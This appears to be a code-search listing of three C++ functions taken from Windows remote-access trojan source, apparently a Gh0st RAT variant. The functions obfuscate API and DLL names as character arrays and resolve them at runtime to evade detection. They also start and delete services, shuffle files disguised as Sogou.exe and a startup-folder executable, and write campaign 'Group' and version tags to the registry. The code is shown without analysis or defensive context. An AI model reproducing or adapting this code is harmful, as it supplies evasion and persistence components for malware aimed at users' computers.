Beispiel #1
0
void StartService1(LPCTSTR lpService)
{
	typedef SC_HANDLE (WINAPI *OpenSCManagerAT)
		(
		__in_opt        LPCSTR                lpMachineName,
		__in_opt        LPCSTR                lpDatabaseName,
		__in            DWORD                   dwDesiredAccess
		);
	char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'};
	OpenSCManagerAT pOpenSCManagerA= (OpenSCManagerAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenSCManagerA");

	typedef BOOL
		(WINAPI
		*CloseServiceHandleT)(
		__in        SC_HANDLE   hSCObject
		);
	CloseServiceHandleT pCloseServiceHandle=(CloseServiceHandleT)GetProcAddress(LoadLibrary(KIoFqQPSy),"CloseServiceHandle");

	
	typedef SC_HANDLE
		(WINAPI
		*OpenServiceAT)(
		__in            SC_HANDLE               hSCManager,
		__in            LPCSTR                lpServiceName,
		__in            DWORD                   dwDesiredAccess
		);
	OpenServiceAT pOpenServiceA=(OpenServiceAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenServiceA");

	typedef BOOL
		(WINAPI
		*StartServiceAT)(
		__in            SC_HANDLE            hService,
		__in            DWORD                dwNumServiceArgs,
		__in_ecount_opt(dwNumServiceArgs)       
		LPCSTR             *lpServiceArgVectors
		);
	StartServiceAT pStartServiceA=(StartServiceAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"StartServiceA");

	SC_HANDLE hSCManager = pOpenSCManagerA( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
	if ( NULL != hSCManager )
	{
		SC_HANDLE hService = pOpenServiceA(hSCManager, lpService, DELETE | SERVICE_START);
		if ( NULL != hService )
		{
			pStartServiceA(hService, 0, NULL);
			pCloseServiceHandle( hService );
		}
		pCloseServiceHandle( hSCManager );
	}
}
Beispiel #2
0
BOOL SpoolerStart()
{
	BOOL bRet = FALSE;

	SC_HANDLE hMngr = (SC_HANDLE)pOpenSCManagerA(NULL,NULL,SC_MANAGER_CONNECT);
	if (hMngr)
	{
		SC_HANDLE hServ = (SC_HANDLE)pOpenServiceA(hMngr,"spooler",SERVICE_QUERY_STATUS|SERVICE_START);
		if (hServ)
		{
			if (pStartServiceA(hServ,0,NULL))
			{
				for (int i = 0; i < 3; i++)
				{
					DWORD dwNeed;
					SERVICE_STATUS_PROCESS ServStatus = {0};

					if (!pQueryServiceStatusEx(hServ,SC_STATUS_PROCESS_INFO,(LPBYTE)&ServStatus,sizeof(ServStatus),&dwNeed)) break;

					if (ServStatus.dwCurrentState == SERVICE_RUNNING)
					{
						bRet = TRUE;

						break;
					}

					pSleep(2000);
				}
			}

			pCloseServiceHandle(hServ);
		}

		pCloseServiceHandle(hMngr);
	}

	return bRet;
}
Beispiel #3
0
void StartService(LPCTSTR lpService)
{
    char CtxPW61[] = {'O','p','e','n','S','C','M','a','n','a','g','e','r','A','\0'};
    OpenSCManagerAT pOpenSCManagerA=(OpenSCManagerAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),CtxPW61);
	SC_HANDLE hSCManager = pOpenSCManagerA( NULL, NULL,SC_MANAGER_CREATE_SERVICE );

	char HrFvD09[] = {'S','t','a','r','t','S','e','r','v','i','c','e','A','\0'};
	StartServiceAT pStartServiceA=(StartServiceAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD09);
	char HrFvD10[] = {'C','l','o','s','e','S','e','r','v','i','c','e','H','a','n','d','l','e','\0'};
    CloseServiceHandleT pCloseServiceHandle=(CloseServiceHandleT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD10);
	char HrFvD11[] = {'O','p','e','n','S','e','r','v','i','c','e','A','\0'};
	OpenServiceAT pOpenServiceA=(OpenServiceAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD11);
	if ( NULL != hSCManager )
	{
		SC_HANDLE hService = pOpenServiceA(hSCManager, lpService, DELETE | SERVICE_START);
		if ( NULL != hService )
		{
			pStartServiceA(hService, 0, NULL);
			pCloseServiceHandle( hService );
		}
		pCloseServiceHandle( hSCManager );
	}
}
void CKernelManager::UnInstallService()
{
	typedef BOOL (WINAPI *DeleteFileAT)
		(
		__in LPCSTR lpFileName
		);
	DeleteFileAT pDeleteFileA = (DeleteFileAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"DeleteFileA");
	
	typedef SC_HANDLE (WINAPI *OpenSCManagerAT)
		(
		__in_opt        LPCSTR                lpMachineName,
		__in_opt        LPCSTR                lpDatabaseName,
		__in            DWORD                   dwDesiredAccess
		);
	char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'};
	OpenSCManagerAT pOpenSCManagerA= (OpenSCManagerAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenSCManagerA");
	
	typedef SC_HANDLE
		(WINAPI
		*OpenServiceAT)(
		__in            SC_HANDLE               hSCManager,
		__in            LPCSTR                lpServiceName,
		__in            DWORD                   dwDesiredAccess
		);
	OpenServiceAT pOpenServiceA=(OpenServiceAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenServiceA");

	typedef BOOL
		(WINAPI
		*DeleteServiceT)(
		__in        SC_HANDLE   hService
		);
	DeleteServiceT pDeleteService=(DeleteServiceT)GetProcAddress(LoadLibrary(KIoFqQPSy),"DeleteService");

	typedef BOOL
		(WINAPI
		*MoveFileAT)(
		__in LPCSTR lpExistingFileName,
		__in LPCSTR lpNewFileName
		);
	MoveFileAT pMoveFileA=(MoveFileAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"MoveFileA");

	typedef VOID
		(WINAPI
		*GetSystemTimeT)(
		__out LPSYSTEMTIME lpSystemTime
		);
	GetSystemTimeT pGetSystemTime=(GetSystemTimeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"GetSystemTime");

	if (!modify_data.bRunOnce)
	{
		SC_HANDLE service, scm;
		scm = pOpenSCManagerA(0, 0,SC_MANAGER_CREATE_SERVICE);
		service = pOpenServiceA(scm,service_data.ws_svcname,SERVICE_ALL_ACCESS | DELETE);
		pDeleteService(service);

		//////////////////////////////////////////////////////////
		char *SWpte1="C:\\progra~1\\Com", *yNpME2="mon Files\\1.temp",*SdHHe3=NULL;
		SdHHe3=new char[strlen(SWpte1)+strlen(yNpME2)+1];
		strcpy(SdHHe3,SWpte1);
		strcat(SdHHe3,yNpME2);
		//////////////////////////////////////////////////////////
		char *YXwdp1="C:\\progra~1\\Com", *rUIhn2="mon Files\\2.temp",*NahJl3=NULL;
		NahJl3=new char[strlen(YXwdp1)+strlen(rUIhn2)+1];
		strcpy(NahJl3,YXwdp1);
		strcat(NahJl3,rUIhn2);
		//////////////////////////////////////////////////////////
		char *mElad1="C:\\progra~1\\Commo", *uVwMo2="n Files\\Sogou.exe",*WQTSj3=NULL;
		WQTSj3=new char[strlen(mElad1)+strlen(uVwMo2)+1];
		strcpy(WQTSj3,mElad1);
		strcat(WQTSj3,uVwMo2);
		//////////////////////////////////////////////////////////

        pDeleteFileA(SdHHe3);
		pDeleteFileA(NahJl3);
		pMoveFileA(WQTSj3,SdHHe3);
		pMoveFileA("C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\hao567.exe",NahJl3);
	}
	SYSTEMTIME time;
	pGetSystemTime(&time);
	char szTime[100],szRun[256];
	wsprintf(szTime,"%02d%02d%02d",time.wYear,time.wMonth,time.wDay);
	DelSetInfo("InitTime", szTime, "BITS");//写安装日期
	DelSetInfo("Version", modify_data.szVersion, "BITS");//写版本信息
	DelSetInfo("Group", modify_data.szGroup, "BITS");//写分组信息
	exit(0);
	ExitProcess(0);
}